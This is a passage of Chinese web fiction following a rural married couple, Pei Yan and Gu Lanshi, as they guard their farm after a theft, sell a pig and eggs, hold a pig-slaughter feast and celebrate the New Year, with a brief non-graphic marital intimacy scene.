锁好院门和篱笆门,让狗在家看护,他俩往西边走,得从那边山坡绕上去,没有别的路,除非顺着山壁爬上去。 脚下积雪深厚,遇到不好走的地方,两人一个拉一个,拽着就上了山。 从山上再往东边走,崖边或许有易踩塌的地方,裴厌很谨慎,直到到了山壁凹陷处以后,两人才往崖边靠近。 拨开崖边的枯枝残叶,展露在他俩眼皮子底下的,正是下方开阔地。 一整片开阔地被长长的篱笆墙围了起来,里面的院落看得一清二楚,除了有屋檐遮挡的地方。 大黑三个分散在大菜地各处巡视,原本的大狗,从这里看下去,体型没了任何威胁感。 狗倒是机警,没一会儿全都抬头看向这边,灰灰和灰仔冲着崖顶不断吠叫,因山崖高,一时没认出来。 两人靠的近了点,一块积雪连同松动的土块突然塌陷下去,裴厌立即拽着顾兰时往后退。 “这么高,就算想跳下去,怕是要摔死。”顾兰时心有余悸,再拉着裴厌往后退了几步。 “嗯,跳是没人敢的,爬也不好爬。”裴厌说道,过来一看,心里算是有了底,就算有人真沿着山壁爬下去,后院墙离山壁有一截距离,不可能直接进到后院当中。 当年在这里盖房搭屋子的几家也是看中凹进去的山壁是坚实的石壁,并非土崖,不然一旦下大雨,山崖很有可能被冲垮塌。 崖顶是有一些松动的土块,但也有草木交错纵横,根系连固,大麻烦没有,小土块掉下去倒有可能。 不过山崖上这里全是杂草杂树,结果子的树一个都没有,一般没人会上这边来,顶多春夏的时候在附近挖挖野菜,为了性命着想,没人会轻易靠近崖边。 “就算爬,这么大的动静,狗肯定能发现。”顾兰时定了定神。 “嗯。”裴厌点头,又说:“走吧,应该不会再有人敢来盯。” 刘庆子和刘栓跑到娄五家去,肯定没说实话,不然娄五不会收留他俩,就算他放过了那两人,对娄五来说是无妄之灾,肯定会把气撒在姓刘的身上。 之前娄进死了之后,他有一次去镇上,远远看见了娄五,对方拔腿就跑,连照面都不敢打,今日走的时候他也看了,娄五连愤恨都提不起,满眼只有恐慌。 回来之后,裴厌没有着急进屋,而是在大菜地转了转,当初扎篱笆墙的时候就想过,太低会被轻易翻过,就筑的高,但比起泥墙,还是单薄了,甚至能从缝隙隐约看到外面的只影。 顾兰时心中同样有忧虑,走到篱笆墙前面,伸手推了推,试着晃动,见足够结实,拍拍手说:“还行,没有松动。” 他想了一下又说:“篱笆再怎么结实,三五年风吹日晒,慢慢就朽了,得换一茬新的,以后还要经常看看,趁早加固才放心。” “嗯。”裴厌颔首,确实要这样,他思索一阵,开口道:“明年开春以后,雇一个长工,多养几头猪,抓紧挣两年钱,找个地方起新房,离村子近点也行。” 顾兰时一愣,因手里钱刚攒下,这里又不是不能住人,因此没有起盖新房的心思,他下意识问道:“那这里就不要了?” 裴厌笑了下,说:“要,地契房契都办了,怎么不要,以后照样养猪种菜,要是有新房了,长工夜里就能住在这边。” 这一两年经常往镇上跑,就托徐承安带人量了土地,交了契税补了地契房契,钱都花了。 顾兰时点点头,微抿着嘴巴想一会儿,说:“咱们只有两个人,人手确实少。” 如今有钱了,对雇人这件事他没有抵触,今天是因为两人都出去了,家里没人,才被贼钻到空子。 裴厌说道:“雇个长工来干活,咱们田少,田里的活自然不多,雇个人去打猪草鸡草,你也能歇歇。” “那工钱呢?”顾兰时问道。 裴厌想了一下,开口:“一般头两年都是一百五十文,两顿饭倒是好管,只是家里房屋不够,得找个附近村子的,要么,就得腾一间屋子。” 顾兰时提议道:“明年地化冻了,不是要起一间屋子养鸡?干脆,多盖一间,把原先放在西屋的东西搁进去,西屋就腾出来了,让给人家住。” 如今西屋的那些东西不是放在堂屋就是在杂屋,垒着摞着放在一起,显得屋子越发窄小,要是多间屋子,拾掇搁放就更方便。 他常常扫洒擦拭,尽量把家里的东西都放齐整干净,只是屋子就这么几间,稍微多点家当,就不容易摆放,他早就想过,要是多一间杂屋,粮缸木柜什么的就都好放了。 顾兰时忽然又想起另一件事,开口:“对了,不是还有一架织布机子,等徐木头做好送来,这个大件怎么都得腾出个地方,要是放在堂屋,方便织布,就得把那几个粮缸米瓮搬走,不然能放下是能放下,就是东西太多了。” 裴厌认真听他说完,点着头道:“那这样看,确实要多盖一间。” 他沉吟一下又说:“手里虽有钱,但盖新院子要先买地办契,找工匠买木料,花钱的地方多,手头五十两就算足够,也不能太着急,就按你说的,先在谷场和柴房中间起两间屋子,再挣上两年,手里钱多了,盖新院子来得及。” 顾兰时也是这样想的,不能让手里没一点余钱,屋子的事就这样商量定了,至于雇长工,要再计议计议,得找个本分的踏实人。 第188章 腊月十五,清早起来天就阴沉沉的,裴厌吃过早食在院里站一会儿,琢磨着腊月也一半了,后院还有一头大肥猪,于是喊顾兰时,说要去卖猪。 每年到这时候,日子都过得很快。 两人推着板车来到猪圈前,顾兰时先看一眼老母猪,刚才吃过食正在稻草堆里睡觉,肥肚子一颤一颤的。 四个猪圈,除了老母猪以外,只剩这头最大的公猪,起码有两百斤,之前想留到年节关头,说不定生猪价会涨一点,不过眼瞅天色又变了,指不定要下雪。 正是四九寒天,雪一下,越发积得深厚,路上不好走,还是趁这时候卖了,省得后边没工夫也没好天气。 抓猪对顾兰时来说已经熟门熟路,拿着绑好的麻绳套站在猪圈口,只等裴厌将肥猪套住。 这头肥猪最大最重,性子也不好,以前还咬同圈的猪,见人来抓它,登时嘶叫着,在圈里横冲直撞躲避。 “小心!”顾兰时惊呼一声。 裴厌因为肥猪乱撞,脚下挪动着,躲开猪无意的攻击。 这肥猪性子有点莽,用绳子套了一下没套住头颈后,慌得径直冲向猪圈墙。 顾兰时眼睁睁看着石头墙被撞得晃动不已,好在当初盖猪圈的时候挖了地基,石头墙不至于被撞倒。 肥猪一脑袋撞上去知道路不同,于是换了个方向,裴厌在后边,趁势再次用手里的绳索去套猪,这下套住了,他大手拽住麻绳,近前猛地一勒,在猪挣扎的时候立刻用另一截绳子迅速缠住猪嘴。 顾兰时抓紧时机,上前将肥猪两个前爪捆住,绑了个结实,两人合力将肥猪放倒,又把两只后蹄子捆好。 “力气够大的,怪不得吃那么多。”顾兰时松一口气,见肥猪被捆得结结实实,只剩从鼻子喉咙里哼叫的份儿,他弯腰拍拍肥猪的大肚子,直起身后笑道:“肯定有两百斤了。” 裴厌拿了长棍子进来,把棍子穿进麻绳里,没有立即去抬,站在肥猪旁边歇了歇,闻言点点头:“肯定有。” “前天我听爹说,生猪价还是十二文,没涨,大家都说比去年行情差一点儿。”顾兰时说道。 “十二文也不错。”裴厌在旁边搭腔,他伸手搭在石头墙上,用力晃动了一下试试牢固度,末了说道:“等开了春,再把这堵墙加固加固。” “嗯。”顾兰时点点头,这头肥猪一卖,就只剩下老母猪和一头他们要杀的猪。 老母猪肚子里已经有猪仔,估计到明年三月多才下,猪圈和空着无异,不着急修固。 歇了这一会儿,裴厌看向他,笑着说:“两百斤,抬得动?” “一百八十斤都抬过,才多二十斤,可别小看人。” 顾兰时卷起袖口,抬头轻哼一声,以示那一点点被小看了的不满。 这可是白花花的钱,他都算好了,二两四钱呢。 裴厌脸上笑意更甚,没有再说废话,和大力气的顾兰时一起,共同将肥猪抬了起来。 板车就在猪圈外,裴厌还好,顾兰时哼哧哼哧的,费了老大劲,总算把肥猪抬上板车。 家里有大杆秤,不过人手少,不好称猪,但裴厌之前手里经过三头猪了,对这头肥猪的份量心里有数,两百斤肯定有,无需过称,等到镇上再称不迟。 毛驴拉着肥猪往前走,顾兰时送裴厌出门,车轱辘碾在石子路旁的平地上,灰灰和灰仔听见肥猪的哼叫声,追在车后凑热闹。 顾兰时把荷包递给裴厌,说:“路过肉铺时问问,有猪耳朵的话买上两个,昨天去阿奶那边串门子,大伯娘说她明儿要卤猪头,你买了猪耳朵回来,我过去让大伯娘顺带丢进锅里,卤好切了猪耳丝给你做下酒菜。” “行,别的还要吗?”裴厌问道。 顾兰时边走边想,家里糕点果脯都有,肉还有一吊,于是摇摇头:“没了,就买俩猪耳朵吧,多买两个也行,反正锅大,到时候给爹拿俩去下酒。” “好。”裴厌答应道,出了门后径直往林子那边走,趁还没起风,早点卖了早点回来,不然路上冻得慌。 看他走了,顾兰时不再张望,一转身看见灰仔朝河边方向撒欢跑远了,他摇摇头,跟个小孩似的,总想着玩耍。 他张了张嘴,转念又一想,算了,等玩够了灰仔自己知道回来,于是就先自己进去,篱笆大门给灰仔留了条缝儿。 之前闹过贼,裴厌一走,他没法撂下家里去串门子,有大黑在,独自在家倒也不惧。 炕还是温热的,顾兰时坐上去,纳了一会儿鞋底,在心里盘算到底哪天杀猪。 今天十五了,离过年也就半月,天冷,肉和骨头都好放,搁在外头一晚冻得梆硬,不怕坏掉。 后院留的那头年猪没有刚才那头肥猪重,自家吃正好。 正想着,外面就来了人,他出去一看,是徐启儿领着徐瑞儿,手里不知提了什么东西,于是连忙喝止住大黑,不让叫了,徐启儿兄弟俩这才敢推门进来。 灰仔不知野到哪里去了,不见踪影,顾兰时没管,笑着问道:“启儿,什么时候回来的?” 徐启儿拎了一个油纸包,近前后脸上带着不好意思,把油纸包往前递了递,说:“兰时哥哥,一包点心,你收着。” 顾兰时有点惊讶,没有立刻去接,疑惑问道:“怎么拿这个?” 徐启儿开口:“昨儿回来,听瑞儿说,上回兰时哥哥你和厌哥还有狗儿哥帮忙出了头,林楞娃几个,再没敢打瑞儿。” 他去做工最担心的就是弟弟挨打,本就没几个钱,要是打伤了,甚至打残,以后可怎么办,半大的小子有时最残忍,下手没有轻重,他昨天实在放心不下,便同东家告一声假,匆匆赶了回来。 不想这件事已经解决了,甚至裴厌还上林楞娃家门口走了一遭,瑞儿手里没钱,连谢都不知道谢,他夜里辗转反侧,早起匆匆赶到镇上买了一包点心,特地领着弟弟来谢。 原是为了这个,顾兰时笑一下,原本想说没什么,用不着这样,但见徐启儿很坚持,要是拒绝的话,人家脸上也挂不住,于是笑眯眯接过油纸包,说:“来,进来坐坐。” 徐启儿犹豫一下,还是跟着他进了堂屋。 顾兰时忙着给他俩倒茶,顺便端了一碟果脯出来。 徐瑞儿看见,忍不住咽了咽口水。 直到兄弟俩日子苦,他直接一人给抓一把,塞进手里让吃,顺便问了几句闲话。 其实他和兄弟俩没太多话可以说,就转到徐启儿做工的事上,问他平时都做什么活。 扫院子铲粪,田里有活先紧着田里,田里没活就去打草喂猪喂牛,有时也会帮着主家外出放牛。 顾兰时听着,没有任何意外,他有个堂哥,也在外头给人做长工,乡下人不比镇上那些富户大家,长工干的活大差不差都是这些。 说了一阵子话后,见徐启儿坐不住要走,他没有虚留,喊住两人,从屋里取了两枚咸鸭蛋,让带回去吃。 徐启儿推拒不得,满心感激将咸鸭蛋揣进怀里,道一声就和弟弟走了。 顾兰时送他俩出门,等人走远之后,听见狗叫声,转头去看河边,果然是灰仔跑回来了。 “还认得家门啊。”他玩笑着,哪怕灰仔听不懂,等狗跑到跟前,他拍拍狗头,这才进去。 徐启儿一来,倒是让他想起雇长工的事。 启儿在钱家做工的差事是徐家人好不容易给弄的,他能听出徐启儿对东家的感激,人家好不容易找个好东家,肯定不能乱来。 至于徐瑞儿,实在太小了,才十岁,瘦巴巴的,个头也不高。 而且他知道,兄弟俩对家里那两亩薄田很看重,徐瑞儿一个人种地收地、锄草浇水,春夏时常常能看见他在地里忙碌的身影,毕竟人小,也没其他人帮衬,壮劳力一两天能干完的,他却不行,要比旁人多两天功夫。 顾兰时想着想着,叹了一口气,回头等杀了猪,给瑞儿拿些肉好了,平时家里的肉都是花钱买的,自己养的猪就没有顾虑。 裴厌还没找好长工,因明年想多养几头猪,还要再多三四十只母鸡,打草是个重活,肯定得雇个力气大的汉子,这样出去打草的时候,就能拉板车去,背着竹筐一趟趟跑,打得草少还得多跑几趟,不值当。 他之前回去跟他爹提了一嘴,他娘在旁边说会帮着留心,有他爹娘帮忙,再还告诉了阿奶和几个伯娘婶子,他阿奶平时没事爱和别人唠嗑,说不定真能打听到呢。 第189章 腊月十九,小雪零星飘落,没有昨天那么大了。 到了跟高府那个赵管事说定的日子,顾兰时和裴厌在堂屋装鸡蛋。 最近西屋土炕一直在烧,每次一进去都能感受到温热之意,比他俩的东屋还暖和,再加上喂的好,几乎天天做饭时顺带蒸干鱼干泥鳅,磨地龙粉给它们吃,十五只母鸡下蛋更顺了。 前天给来福酒楼和同春酒馆一共送了五十枚鸡蛋,再有几天过年,酒楼酒馆的人要放年假各自回家,干菜还好放,鸡蛋就不太行,有二三十枚抵过这十天左右就行。 至于高府,上次听赵管事的语气,知道他们那儿缺鸡蛋,想必年节能用到鸡蛋的地方也多,两人就把家里所有的鸡蛋都装了,一个没留,拢共八十二枚鸡蛋。 家里要想吃鸡蛋,明天说不定就有了。 “还是炕常常烧着好,比上个月下的蛋多呢。”顾兰时给蛋筐最上面铺好一层稻草。 原本以为一个大竹筐就能装下,没想到多出六枚,只能再拿一个小竹筐。 裴厌在院里套驴车,闻言应道:“是这样。” 今年头一次这样养鸡,慢慢来才能摸清捋顺了。 “再送这一回了?”顾兰时把大竹筐抱出来,放在板车上问道。 裴厌进屋去拿小竹筐,顺便拎起放在堂屋门后的一个鸡笼,里头有三只老母鸡,是昨天从村里收的,今儿一齐带去镇上,他开口道:“嗯,年节前就这样,这茬就算过去了,不用再操心,年后等过了十五再说。” “行。”顾兰时再次进来,把门后另一个竹笼两手抬起,这个里头是两只老鸭,同样是收来的。 几只鸡鸭再加上鸡蛋,根本算不上多。 院里铲出了一条路,顾兰时跟在板车后面,也没怎么帮忙推,路挺顺的。 至于到了外面路上,毛驴和裴厌自会使力气,无需他多操心,毕竟车上东西不沉。 车辙印随着驴车走远,在雪地上碾出两条长长远远的痕迹,熟悉的路和方向,不知道走了多少遍,毛驴甚至不用人牵,就知道要去哪里。 * 高府后门,裴厌把驴车停下来,见小门关着,他上前拍了拍,不一会儿,有人从里面开了门。 “谁啊?”后门小厮双手揣袖,因家中有事心里头烦恼,询问的语气不怎么好,抬头一看,认出是送鸡蛋的,上次赵管事领着裴厌过来,他帮忙卸了鸡蛋,自然记得,后来赵管事也吩咐了看后门的人,叫留神送鸡蛋的。 轮班的另一人不在,他只能自己去厨房,于是说道:“先等着,我去喊厨子。” “嗯。”裴厌点头,心里没什么感觉,做生意就是这样,总能遇到说话不好听的,他今儿目的是来卖鸡蛋赚钱,钱到手就行,旁人语气态度如何,其实没多大关系。 很快,胖厨子来了,依旧一身酒味,问道:“多少鸡蛋?” “八十二枚。”裴厌说着,见一个系了襜衣的帮厨提着竹篮,他走到板车旁边,把竹筐盖子打开,又把最上面的稻草取走,见对方拿鸡蛋不用他帮忙,于是没再动手。 “今儿带了几只老母鸡和老鸭,老兄看看?”他转而向厨子说道。 冷风吹来,胖厨子搓搓脸颊,大步走来,自己动手从鸡笼捉了一只老母鸡出来,见挺肥的,问道:“多少钱?” “市价,四十二文。”裴厌从另一个笼子抓出一只鸭子,示意他看,又说:“鸭子也是市价,四十六文。” “各来两只,后院还有,不过给年节多预备几只。”厨子说道。 “行。”裴厌答应一声,正好够,各逮了两只,直接用稻草缠住鸡脚鸭脚,方便厨子和帮厨提进去。 鸡蛋依旧是八文的价,有人卖到了九文,裴厌见高府给钱痛快,想长期揽住这门生意,哪怕只冬天来送,也能挣不少,就没提价,而且八文对他和顾兰时来说,已经是高价了。 鸡蛋六百五十六文,两只母鸡八十四文,两只鸭子九十二文,拢共八百三十二文钱。 接过碎银和铜板,裴厌眼里带了一点笑意,问道:“老兄,年后府里还要鸡蛋吗?” 十五元宵过后,正月才过一半,天冷,鸡蛋依然少,厨子见他询问,就知道鸡蛋长期都有,不用他费心踅摸,哪有不愿意的,开口道:“到时候前来问问。” “行。”裴厌点点头,见对方进了门,不再言语,收拾好竹筐鸡笼,牵着毛驴往巷子外后,顺便吆喝道:“老母鸡,活鸡便宜了。” 临近年关,鸡鸭涨了几文,他老母鸡卖四十二文不算贵的,收来花了四十文,从中赚一两文钱的薄利。 雪花还在飘,不断落在行人肩头,有人走一走就要抬手掸走,省得衣裳湿了。 没吆喝多久,最后一只老母鸡卖了出去,裴厌把鸡笼放好,收了钱揣进怀里,再不用耽误,直奔镇口而去。 今天卖了五只鸡鸭,都是两文的利润,拢共赚了十文钱,不多,慢慢积攒起来就好了。 * 腊月二十二,总算有了太阳,只是阳光威力弱,不足以让冰雪消融。 杀猪匠还没来,见时候不早了,裴厌和顾兰瑜去后院抓猪,顾兰时和花惜霜在灶上忙。 今年他俩杀猪早,他打算让家里人都来吃,炖骨焖肉,再弄个辣炒猪杂,再弄几道其他菜,冬笋菘菜萝卜豆腐,泡些木耳黄花菜,还有干扁豆干豇豆,要说这顿饭,都和年席差不多了。 他俩人少,也没什么别的亲戚,一年到头,有事都是家里人帮衬,做一桌饭,喊上爹娘哥哥,还有叔伯婶子来吃,再喊喊村里平时交好的,人家愿意来,他俩自然高兴,一个村子住着,和和气气才是正理。 “兰哥儿!” 方红花的声音响起,吃肉这件事肯定不能落下她,昨天下午顾兰时特地过去说了,这不,想着孙子要做饭,她赶早过来帮帮忙。 因她在这边待的久,早已熟门熟路,大黑它们没有乱叫。 “阿奶。”竹哥儿从柴房出来,提了一篮干树叶子和松针,要做引子使,洗菜要有热水,不然冻得慌。 他今年长了个儿,脸型轮廓和顾兰时有三分相似,越发出落,眉眼带了几分自身独有的天真憨气,两人一看就是一家人,但相貌又明显不同。 “我们竹哥儿也在呢。”方红花看见孙子笑眯眯的,又夸道:“都知道帮忙了。” “阿奶。”花惜霜从灶房探头。 方红花一边卷袖口一边往里走,笑着说:“哎呦,都在呢,霜儿,可别用冷水,年轻家家的。” 灶房一下子热闹起来,祖孙几个说说笑笑,没一会儿,裴厌和顾兰瑜把肥猪抬了出来,直接搁在院里的长桌上。 没多久,杀猪匠刘信总算进了门。 宰猪接血,烫毛剥皮,样样活落在他手里有条不紊。 狗围着乱叫,被裴厌训斥之后,不敢再上前。 要是在村里,谁家杀猪的话,经常会有没事干的看热闹。 后山离村子较远,站篱笆大门那边又看不清院里的动静,因此除了顾家人陆续前来,没有其他人来围看。 顾铁山过来的时候顺便叫上了周平和孙安,要在村里过活,和人多来往打交道不是坏事。 赶着晌午,肉香四溢的饭菜端上来,分了两桌坐,汉子一桌,媳妇夫郎挤一桌,肉有酒也有,待饭饱酒足,众人脸上都染上红,或是微醺或是肉足身暖。 苗秋莲走时还带了几根剩骨头,二黑在看家呢,不能忘了。 到下午,外出的人少了,顾兰时喊来徐瑞儿,给割了一吊子肉,再给拿了两根骨头,让回去做着吃。 每逢年底有人杀猪,自家一般吃不完,村里其他人来买,都会比镇上肉价便宜一点,这是常事。 徐瑞儿以为要钱,咽着口水说不要,一听是给他的,不用花钱,抬头呆愣愣看着顾兰时,好半天没说话。 顾兰时见他呆头呆脑,不如徐启儿机灵,无奈摇摇头,让他只管提回去,还叮嘱不让跟别人说,把布块盖紧。 徐瑞儿小鸡啄米一样点头,最后抱着竹篮一溜烟跑了回去。 顾兰时在后面看得想笑,让他藏着点,又没说是做贼,刚转身要进门,却看见徐瑞儿溜走之后,又一个小身影从林子那边过来。 他辨认了一下,发现是李梅弟弟李保儿,提了个竹篮,他以为是出来挖草根,笑着开口:“保儿,天不早了,还出来啊。” 李保儿冲着这边小跑了几步,风大,吹得他鼻涕流下来,他七岁的年纪,不甚讲究,直接用袖子一抹,看得顾兰时直叹气摇头。 “兰时哥哥,我娘让我来买肉,二斤就行。”李保儿说道。 顾兰时有点惊讶,随后笑着说:“好,那你跟我进来。” 李保儿跟在他身后,进来后东张西望,一副好奇的模样,看见狗跑过来,他明显害怕,停下不走了。 “去。”顾兰时撵走灰灰,回头又朝他招手,说:“没事,有我在呢。” 李保儿这才迈步。 顾兰时又问他:“你哥哥最近回来过?” 李保儿倒是有问必答:“没,上回说家里忙,年节时再回来。” 裴厌在院里拾掇,见顾兰时身后跟个小孩,他认出是李保儿,眼神有点疑惑,不明白他俩一大一小有什么事。 顾兰时笑着开口:“保儿来买肉。” 疑惑一下子解开,裴厌点点头,他手里拿着铁锨,刚才还收拾木架什么的,见顾兰时往灶房走,就没多管。 说实在的,因裴厌名声不太温和,他俩甚至没想过会有人来买肉,顶多就是关系好的周平家和孙安家,别人多少都会有顾虑。 顾兰时拿了秤,秤杆高高的,给称了不止两斤肉,李保儿从怀里掏出铜板,他想了一下,一斤肉只算了二十文。 镇上瘦肉已经二十二文了,他给李保儿割了带肥的,不提和李梅要好这件事,李保儿可是来他们家买肉的头一个主顾,说不定也是唯一一个,给些实惠应该的。 发现李保儿怕狗,顾兰时送他出门,在门口叮嘱:“路上别跑,雪还厚呢,脚下记得慢些,可别摔了。” “嗯嗯嗯。”李保儿不断点头,着急回家吃肉,听完嘱咐后迈开腿赶紧往回走。 之所以絮絮叨叨叮咛,是顾兰时知道李家日子好不容易起来,买肉也是逢年过节才吃一回,要是摔倒了滚在地上,实在可惜。 风越大了,想着今天应该再不会有人来买肉,他关上篱笆门进去,走着走着,忽然想起昨天回家,他娘说的那些话。 第190章 裴厌收拾好前院的各种东西,又拿了长斧头劈柴,转头看见顾兰时一副有心事的模样,他停下手里的活,下意识问道:“怎么了,在想什么?” 顾兰时咬了下嘴唇,有点难以启齿。 这事他昨天晚上睡觉的时候其实都在想,今天忙起来还好,一旦闲下来,不免又上了心。 裴厌不解,顿了一下追问道:“是有什么不好办的事?” 顾兰时摇摇头,末了又迟疑着点点头。 两人向来有话直说,从没在对方跟前藏着掖着,他突然这般,倒叫裴厌为难起来。 想问吧,又怕逼的太紧,不问吧,又怕把事情耽误了。 顾兰时站在那儿没动,念头在心里转了好几圈,最后决定破罐子破摔,脸颊微红道:“我娘说,咱俩成亲快两年了,一直没个动静,催着让要。” 苗秋莲其实早就想问问,但一直没找着机会,顾兰时嫁出去了,她是亲娘不是婆母,顾兰秀之前被催得那样,她还怕顾兰时受唠叨催促的苦恼,每次都想着再搁一搁,才成亲呢,急什么,不想一搁就搁到了今年年底。 她也知道,裴厌和裴家断了亲,上头没有公婆,小两口自己过自己的,比顾兰秀被催促的日子强,只是再怎么不急,孩子总得先生一个,两人年纪都不算小了。 顾兰时过了这个年就十九岁,裴厌二十二,顾兰时不提,别的汉子到这个年纪,娃娃早在地上跑了,甚至都能去隔壁村帮家里跑腿买豆腐。 话说得含蓄了点,但裴厌一听就知道什么意思。 要孩子这件事他之前想过几回,不过顾兰时肚子一直没动静,他不愿开口,自己也没当回事,该来总会来的。 于私心,他和顾兰时过惯了两个人的日子,陡然多一个小人儿,他没经历过,甚至想象不出,到那时,日子会是什么样的。 “我也觉得,好像是时候了。”顾兰时声音小,低着头有点扭捏害羞。 裴厌喉结滑动,他没有说话,心想,既然夫郎想要孩子,他没有可拒绝的理由,于是丢掉手里的斧头,上前将人扛起,大步往屋里走。 这一番举动,打了个顾兰时措手不及,他被高大的男人扛起,脸上全是茫然,刚才不是说要孩子的事吗,怎么变成了这样。 直到被放在炕上,看见裴厌迫不及待脱衣压上来时,他才联想到两件事的关联。 “我就是跟你说一下,不是真的催……”话还没说完,微痛让他闭了嘴,情不自禁揽住男人脖子,一声声微喘低吟,眼前一片雾蒙蒙的,仿佛看到了房顶在快速晃动。 * 成亲后的日子十分滋润,不知不觉快两年了。 顾兰时看着眼前精壮的男人,忽然察觉到裴厌身上的变化。 比起以前的瘦削,如今吃得好,裴厌长了点肉更壮了,不过依旧壮的恰到好处,一身肌肉匀称漂亮,身躯修长,怎么看都养眼。 好看是好看,就是苦了他自己,那天原本只是把要孩子这件事提上日程,并非当真就这么急。 他辩解过,但裴厌很有一番自己的道理,一个是趁冬闲有工夫,另一个则是多做几回,孩子才能来,光躺着不动哪里行。 顾兰时还真无法反驳,好在年前这几天太忙,叫他有了借口,夜里不至于被欺负太狠。 莫名的,他总感觉裴厌只是嘴上说得好听,想要个孩子,其实根本只想做那档子事。 可没有证据,完全是他心中猜测,无法证实,便作罢了,不再胡思乱想,年节前要备的东西多呢。 忙忙碌碌,年三十儿一到,整个村子变得喜庆热闹。 最近没再下雪,连着两天都去赶大集,到今天总算消停了,不用再出去。 一大早,顾兰时熬了浆糊,和裴厌拿着喜庆的大小春联开始张贴,灶房堂屋,放粮缸米面的杂屋,还有井边和后院棚圈,图个五谷丰登六畜兴旺的好彩头。 他俩不识字,跟着大伙儿一起去买,又有顾兰瑜在旁边帮着看,记下哪个是贴哪里的就成。 一圈贴下来,家里瞬间变得不一样,年味一下子变浓了。 顾兰时很高兴,又和裴厌去挂灯笼,末了兴起,还把他打的几个红络子挂在大菜地最前面的果树枝上。 络子打的不多,零星挂了十来个,红色络子挂在光秃秃的枝丫上很显眼,更添几分喜意。 他俩没有本家亲戚,今天用不着来往,至于顾家,那是娘舅家,今儿也不该回去,因此家里再没别的活,两人便开始备晌午饭和入夜的年饭。 裴厌也系上襜衣,顾兰时指派什么他就做什么,洗菜切菜,烧水洗鱼。 鱼是昨天在大集上买的活鱼,一共买了五条,这个时节的活鱼贵,但他俩能舍得,自己吃也好,待客也罢,过年就应该吃好点。 今天晌午饭简单,一碗清炒萝卜丝一碗炒肉片,再热几个暄软的大白馒头就好。 顾兰时把这几样准备好,因还没到饭时,又拿了特地割好缓过的瘦肉来,切碎了咚咚咚在案台上剁。 只有两个人,他打算做六道菜,取个六六大顺的好寓意,晚上还要守夜,得吃点热汤水,剁了肉馅汆丸子,煮了吃肉丸汤。 自从那天杀了猪,狗每天不是有骨头就是有肉吃,这会子闻到肉味,都不流口水了,也没有缠在灶房门口狼嚎。 见裴厌蹲在一旁洗鱼,顾兰时在心里盘算,整鱼一条,肉丸子一盆,再有蒸鸡块蒸鸭块各一碗,这已经四道菜了,再添两盘素菜就行。 “洗好了。”裴厌控了控水,就把鱼放进鱼盘当中。 顾兰时手里的菜刀剁个不停,看向他说:“削两个梨子,晌午不煮稀饭了,煮碗甜梨汤吃,润润燥。” “行。”裴厌又去拿梨和黄糖块。 灰仔在院里撒欢刨雪刨土,裴厌看见,瞥一眼收回视线,三十儿这么好的日子,一般人家都不打小孩,狗还是不打了。 两个人的年比别人家清冷一点,却不减对新年的期盼。 徐家。 徐启儿放了年假,在家待到十五才过去,他厨艺不怎么样,带着弟弟在灶房忙碌。 两人的年饭要简单很多,肉还是顾兰时给的,徐瑞儿只吃了一小半,剩下的想等哥哥回来,过年的时候再吃。 * 一旦忙起来,时辰过得很快,吃过午饭后,两人又把家里拾掇拾掇,这里看看那里转转,生怕有遗漏的地方。 见灰灰和灰仔打架,顾兰时心中一动,进屋翻找一通,把一条窄长的红布剪成三绺,分别绑在狗脖子上。 灰仔最傻,它没有被栓过,十分不适应,晃着脑袋觉得不对劲,想把脖子上的东西扒拉下来,顾兰时就给它绑松了点,不至于勒紧不舒服,它这才消停。 大黑很乖,对捯饬打扮没有任何异议,灰灰则是在顾兰时的夸赞声中昂首挺胸,一下子接受了脖子上的红布条。 随着村里传来零星几声炮响,夜幕不知不觉降临,灶房里火光投映,炊烟没入黑暗中,饭菜香味渐浓。 裴厌开了一坛新酒,来配一桌年饭。 顾兰时很高兴,平时顶多尝半碗,今天喝了一碗,脸颊都是红的,眼睛却很亮。 吃完后没有收拾残羹剩菜,他俩牵着手,去门外放炮仗和烟花。 “砰——” 夜幕上一朵绚丽的火花炸开,顾兰时站在底下仰望。 和裴厌过的第二个年,他很高兴,是说不清言不明的高兴,仿佛整个人浸泡在这样的烟火和酒意微醺之中。 第191章 一回生二回熟,年节走亲戚再不复去岁的紧张忙乱,该拜年拜年,该待客待客,而今年待客席更加丰盛。 家里猪肉那么多,光猪肉菜就做了好几道硬的,什么炒猪肝炒腰花,炖猪肘烧蹄子,顾兰时手艺没酒馆厨子那么好,不过肘子最起码炖软烂了。 来的都是自家人,哪有那么多嫌弃可言,大伙儿嘴里都称赞,却也不是安慰虚言,吃完撤盘子时,猪肘只剩了骨头和盘里残余的肉汁。 等过了十五元宵,年节就过去了,无论哪里的人,都开始新一年的劳作,乡下人等待翻田种地的时节,镇上店铺开了门做起生意,码头也开动起来,老少汉子为讨口饭吃,带着干粮揣着馍做苦力,一大早就往码头赶。 天暖和起来,屋顶的雪每天晌午都被晒化,汇聚成水滴顺着屋檐啪嗒啪嗒往下流,每天早上都能看见夜里结的冰溜子,或大或小。 有一两天太阳很暖和,屋顶积雪越发消得快,顺着屋檐流淌,跟下雨一样。 山上积雪也渐渐有了动静,开始化冻以后,到处都是泥泞,路变得难走,得挑合适的地方下脚,尽管如此,不少人出门,一边走一边还要甩甩鞋底粘的泥。 还不到春耕,田里雪水打的湿泞,翻地也尚早,裴厌原本想去码头挣一点工钱,但一想,后院猪牛一天要铡草煮食喂三顿。 鸡鸭也是如此,除了喂鱼干地龙粉,还要煮些大蓝根之类的草药水给它们喝,每天为西屋十五只母鸡吃的好,还要把一些野菜干,譬如马齿菜这样晒了很多的给泡发了,切碎当鲜草,和麦麸谷糠拌着喂养。 活其实不重,只是琐碎了些,因这两天想着年节已经过去,不忙了,夜里不免放纵了些。 惦念着顾兰时白天身体不适,他最终没有出门,在家把母鸡伺候好,十天半个月就能去镇上卖一回鸡蛋,有这一笔进项在,做工不着急,等泥路干了再说。 辰时过了半,天色不早了,顾兰时懒洋洋从被窝里坐起,他醒来有一刻多钟了,睁开眼又闭上,身上疲累,便不愿起。 半夜裴厌给他擦过身,还算爽利,只是小腹酸胀微麻,稍一动就叫他连脸带耳朵红了一片,待缓过劲来,才穿戴整齐下炕。 屋檐还在往下滴水,像下小雨一样,裴厌把凹石头和石锤搬进了堂屋,坐在门口敞亮的地方磨地龙粉。 听见开门的动静,他转头望过去,问道:“饿不饿?锅里有热包子。” “嗯。”顾兰时打着哈欠,又伸个懒腰,昨天晚上折腾得有点狠,他精神头不是很好,懒懒瞅裴厌一眼,见男人满身春风得意的舒爽利落感,就不愿再搭理,自顾自去盥洗。 他前脚跨出去,裴厌后脚就撂下活跟上了,殷勤得不行,帮着舀热水取青盐。 